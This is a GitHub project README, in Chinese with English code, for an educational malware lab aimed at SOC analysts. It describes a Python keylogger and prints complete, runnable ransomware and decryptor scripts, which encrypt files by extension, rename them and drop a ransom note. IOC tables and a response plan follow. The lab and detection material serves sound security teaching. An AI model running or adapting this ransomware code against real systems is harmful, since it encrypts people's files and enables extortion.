diaa-eldeen2004/Malware-Analysis
GitHub: diaa-eldeen2004/Malware-Analysis
一个教育性质的恶意软件分析项目,通过键盘记录器和勒索软件的 PoC 代码及其对应的 IOC 检测方法,帮助 SOC 分析师理解威胁机制并提升检测与响应能力。
Stars: 0 | Forks: 0
# 🛡️ 恶意软件开发与分析 — 教育项目
## 📋 目录
- [项目概述](#project-overview)
- [阶段 1 — 键盘记录器](#stage-1--keylogger)
- [阶段 2 — 勒索软件模拟](#stage-2--ransomware-simulation)
- [实验室环境](#lab-environment)
- [SOC 检测视角](#soc-detection-perspective)
- [工具与依赖](#tools--dependencies)
- [免责声明](#disclaimer)
## 项目概述
本项目从**攻击者到防御者**的视角探讨了两类恶意软件。其目的不在于造成破坏,而是为了深入理解恶意软件在代码层面的运作机制——从而作为 SOC 分析师,您能够识别其行为特征、编写更出色的检测规则,并更快速地做出响应。
| 阶段 | 类别 | 语言 | 关键技术 | 状态 |
|-------|------------|----------|----------------------------|----------|
| 1 | 键盘记录器 | Python 3 | OS 键盘 hook (pynput) | ✅ 已完成 |
| 2 | 勒索软件 | Python 3 | AES-256 加密 (Fernet) | ✅ 已完成 |
## 阶段 1 — 键盘记录器
### 功能简介
一个概念验证(PoC)版的 Python 键盘记录器,它可以:
- 使用 `pynput` hook 到 OS 键盘事件流中
- 缓存击键记录并为其添加时间戳进行格式化
- 将隐藏的日志文件 (`.keylog`) 写入文件系统
- 通过计划任务线程,每 20 秒模拟一次 C2 数据外传报告
### 架构
```
OS Keyboard Event
│
▼
pynput Listener
│
▼
Buffer & Format ──► Timestamp + Special Key Mapping
│
▼
Write Hidden Log File (.keylog)
│
▼
Simulated C2 Report (every 20s)
```
### 安装与运行
```
# 1. 创建并激活 Python 虚拟环境(在 Kali 上必需)
python3 -m venv venv
source venv/bin/activate
# 2. 安装依赖
pip install pynput
# 3. 运行键盘记录器
python3 keylogger.py
# 4. 使用 Ctrl+C 停止 — 查看日志
cat .keylog
```
### IOCs (失陷标示)
| 严重程度 | 标示 | 检测方法 |
|----------|------------------------|-----------------------------------------------|
| 高 | 异常的 python3 进程 | `ps aux \| grep python` — 未知的持久化 PID |
| 高 | 隐藏的 `.keylog` 文件 | AIDE / Tripwire 文件完整性监控 |
| 高 | 键盘 API hook | EDR 对底层 KB API 的行为检测 |
| 中 | 存在 pynput 库 | `pip list \| grep pynput` 或 `/proc//maps` |
| 中 | 周期性文件写入 | 针对隐藏文件的 `auditd` 或 `inotifywait` |
| 高 | C2 信标通信 (真实) | SIEM/FW:定期向未知 IP 发送出站 HTTP 请求 |
## 阶段 2 — 勒索软件模拟
### 功能简介
一个概念验证(PoC)版的 Python 勒索软件,它可以:
- 生成随机的 **AES-256 (Fernet)** 对称加密密钥
- 遍历目标目录并加密符合特定扩展名的文件
- 为每个加密后的文件添加 `.encrypted` 后缀进行重命名
- 投递包含解密密钥的 `README_RANSOMWARE.txt` 勒索说明文件
- 将密钥保存到目标目录之外的 `key.txt` 文件中以便恢复
- 包含一个可完全恢复所有文件的**解密脚本**
### 架构
```
Fernet.generate_key()
│
▼
Walk TARGET_DIR
│
▼
Filter by Extension (.txt, .sql, .cfg, .md, .csv, .log)
│
▼
Read File → Encrypt → Overwrite → Rename to .encrypted
│
▼
Drop README_RANSOMWARE.txt + Save key.txt
```
### 安装与运行
```
# 1. 更新系统并安装 Python + pip
sudo apt update
sudo apt install python3 python3-pip -y
# 2. 安装 cryptography 库
pip3 install cryptography
# 3. 创建受害者测试环境
mkdir -p /home/kali/Malware/test_files
cat > /home/kali/Malware/test_files/document1.txt << 'TXT'
This is a confidential document with sensitive data.
TXT
cat > /home/kali/Malware/test_files/credentials.txt << 'TXT'
User credentials: admin / P@ssw0rd123
TXT
cat > /home/kali/Malware/test_files/query.sql << 'TXT'
SELECT * FROM users WHERE id = 1;
TXT
cat > /home/kali/Malware/test_files/notes.txt << 'TXT'
Project plan for Q3 2025
TXT
cat > /home/kali/Malware/test_files/config.txt << 'TXT'
Backup configuration file
TXT
# 4. 验证初始状态
ls -la /home/kali/Malware/test_files/
cat /home/kali/Malware/test_files/document1.txt
```
### ransomware.py
```
#!/usr/bin/env python3
"""
Academic Ransomware Simulation - Proof of Concept
For educational purposes only. Authorized lab use only.
"""
import os
from cryptography.fernet import Fernet
import platform
from datetime import datetime
TARGET_DIR = "/home/kali/Malware/test_files"
RANSOM_NOTE = "README_RANSOMWARE.txt"
TARGET_EXTENSIONS = ['.txt', '.sql', '.md', '.csv', '.log', '.conf', '.cfg']
SKIP_FILES = ['key.txt', 'README_RANSOMWARE.txt']
RANSOM_MESSAGE = """
=== YOUR FILES HAVE BEEN ENCRYPTED ===
All your documents, databases, and important files
have been encrypted with AES-256 encryption.
Decryption Key: {key}
Run the decryptor script with this key to restore your files.
This is an academic simulation. No actual harm has been done.
=========================================
"""
def generate_key():
return Fernet.generate_key()
def encrypt_file(filepath, cipher):
try:
with open(filepath, 'rb') as f:
data = f.read()
encrypted = cipher.encrypt(data)
with open(filepath, 'wb') as f:
f.write(encrypted)
os.rename(filepath, filepath + '.encrypted')
return True
except Exception as e:
print(f"[-] Failed: {filepath}: {e}")
return False
def drop_ransom_note(directory, key):
note_path = os.path.join(directory, RANSOM_NOTE)
with open(note_path, 'w') as f:
f.write(RANSOM_MESSAGE.format(key=key.decode()))
if __name__ == "__main__":
print("=" * 50)
print("RANSOMWARE SIMULATION - ACADEMIC POC")
print("=" * 50)
print(f"Target : {TARGET_DIR}")
print(f"System : {platform.system()} {platform.release()}")
print(f"Time : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print("-" * 50)
key = generate_key()
cipher = Fernet(key)
print(f"[+] Key generated: {key.decode()}")
with open("key.txt", "wb") as f:
f.write(key)
count = 0
for root, _, files in os.walk(TARGET_DIR):
for filename in files:
if filename in SKIP_FILES:
continue
if os.path.splitext(filename)[1].lower() in TARGET_EXTENSIONS:
path = os.path.join(root, filename)
print(f"[+] Encrypting: {filename}")
if encrypt_file(path, cipher):
count += 1
drop_ransom_note(TARGET_DIR, key)
print("-" * 50)
print(f"[✓] Encrypted {count} files")
print(f"[✓] Ransom note dropped")
print("[!] Run decryptor.py to recover files.")
print("=" * 50)
```
### decryptor.py
```
#!/usr/bin/env python3
"""
Academic Ransomware Decryptor - Proof of Concept
For educational purposes only.
"""
import os
from cryptography.fernet import Fernet
TARGET_DIR = "/home/kali/Malware/test_files"
def decrypt_file(filepath, cipher):
try:
with open(filepath, 'rb') as f:
data = f.read()
decrypted = cipher.decrypt(data)
original = filepath.replace('.encrypted', '')
with open(original, 'wb') as f:
f.write(decrypted)
os.remove(filepath)
return True
except Exception as e:
print(f"[-] Failed: {filepath}: {e}")
return False
if __name__ == "__main__":
print("=" * 50)
print("RANSOMWARE DECRYPTOR - ACADEMIC POC")
print("=" * 50)
key_input = input("Enter the decryption key: ").strip()
try:
cipher = Fernet(key_input.encode())
except Exception as e:
print(f"[-] Invalid key: {e}")
exit(1)
count = 0
for root, _, files in os.walk(TARGET_DIR):
for filename in files:
if filename.endswith('.encrypted'):
path = os.path.join(root, filename)
print(f"[+] Decrypting: {filename}")
if decrypt_file(path, cipher):
count += 1
note = os.path.join(TARGET_DIR, "README_RANSOMWARE.txt")
if os.path.exists(note):
os.remove(note)
print("-" * 50)
print(f"[✓] Decrypted {count} files")
print("[✓] Files restored to original state.")
print("=" * 50)
```
### 运行演示
```
cd /home/kali/Malware
# 步骤 1 — 初始状态
echo "=== BEFORE ===" && ls -la test_files/ && cat test_files/document1.txt
# 步骤 2 — 执行 ransomware
python3 ransomware.py
# 步骤 3 — 最终状态(已加密)
echo "=== AFTER ENCRYPTION ===" && ls -la test_files/
cat test_files/README_RANSOMWARE.txt
# 步骤 4 — 恢复
python3 decryptor.py
# 出现提示时,粘贴来自 key.txt 的密钥
# 步骤 5 — 验证恢复
echo "=== AFTER RECOVERY ===" && ls -la test_files/ && cat test_files/document1.txt
# 步骤 6 — 重置实验室以重新演示
rm -f test_files/*.encrypted test_files/README_RANSOMWARE.txt key.txt
```
### IOCs (失陷标示)
| 严重程度 | 标示 | 检测方法 |
|----------|-------------------------|--------------------------------------------------------|
| 高 | 大量 `.encrypted` 扩展名 | FIM / `inotifywait` — 数秒内发生数千次重命名操作 |
| 高 | 投递勒索说明 | 针对 `README_RANSOMWARE.txt` 创建的 AIDE 告警 |
| 高 | Python 加密 API 调用 | EDR 针对海量文件写入及 Fernet 使用的行为标记 |
| 中 | 高频文件 I/O | `auditd` 系统调用日志 — 快速的打开/写入/重命名突发操作 |
| 中 | CPU 占用飙升 | AES-256 加密会导致可测量的 CPU 峰值 |
| 低 | `key.txt` 遗留物 | 取证遗留物 — 保存在目录外的对称密钥 |
### SOC 响应计划
```
1. ISOLATE — Disconnect host from network immediately
2. IDENTIFY — Determine patient zero and scope of encryption
3. CONTAIN — Kill python3 process; block further writes
4. ERADICATE — Remove ransomware scripts from filesystem
5. RECOVER — Restore from clean offline backup (3-2-1 rule)
6. LESSONS — Update FIM rules, EDR policies, SIEM correlation
```
## 实验室环境
| 组件 | 详情 |
|--------------|--------------------------------------|
| 操作系统 | Kali Linux (VMware Workstation) |
| 网络 | 仅主机 / 隔离环境(无互联网连接) |
| 语言 | Python 3 |
| 阶段 1 依赖 | `pynput` (通过 Python venv) |
| 阶段 2 依赖 | `cryptography` (pip3) |
| 目标文件 | 虚拟的 `.txt`, `.sql`, `.cfg` 文件 |
| 快照 | 每次运行前拍摄的 VMware 快照 |
## SOC 检测视角
这两个阶段的设计都充分考虑了检测需求。每一个恶意软件行为都有对应的 SOC 控制措施:
| 恶意软件行为 | SOC 检测手段 | 工具 |
|-----------------------------|----------------------------------------|--------------------|
| 键盘 hook | 底层 API 调用监控 | CrowdStrike / EDR |
| 隐藏的日志文件写入 | 文件完整性监控 | AIDE / Tripwire |
| 批量文件加密 | 突发性重命名检测 | SIEM 关联分析 |
| 创建勒索说明 | 已知 IOC 文件名告警 | Splunk / QRadar |
| C2 信标通信 (模拟) | 周期性出站流量异常 | 防火墙 / SIEM |
| 对称密钥遗留物 | 取证文件发现 | IR 调查 |
MITRE ATT&CK 映射:
- **T1056.001** — 输入捕获:键盘记录
- **T1486** — 数据加密以造成影响
## 工具与依赖
```
# 阶段 1
python3 -m venv venv && source venv/bin/activate
pip install pynput
# 阶段 2
sudo apt install python3 python3-pip -y
pip3 install cryptography
```
## 免责声明
*Diaa El-deen | CyberGuard X | 2026 年 6 月*
标签:DAST, Python, 中高交互蜜罐, 勒索软件, 安全教育, 恶意软件分析, 恶意软件开发, 数据展示, 无后门, 红队, 键盘记录器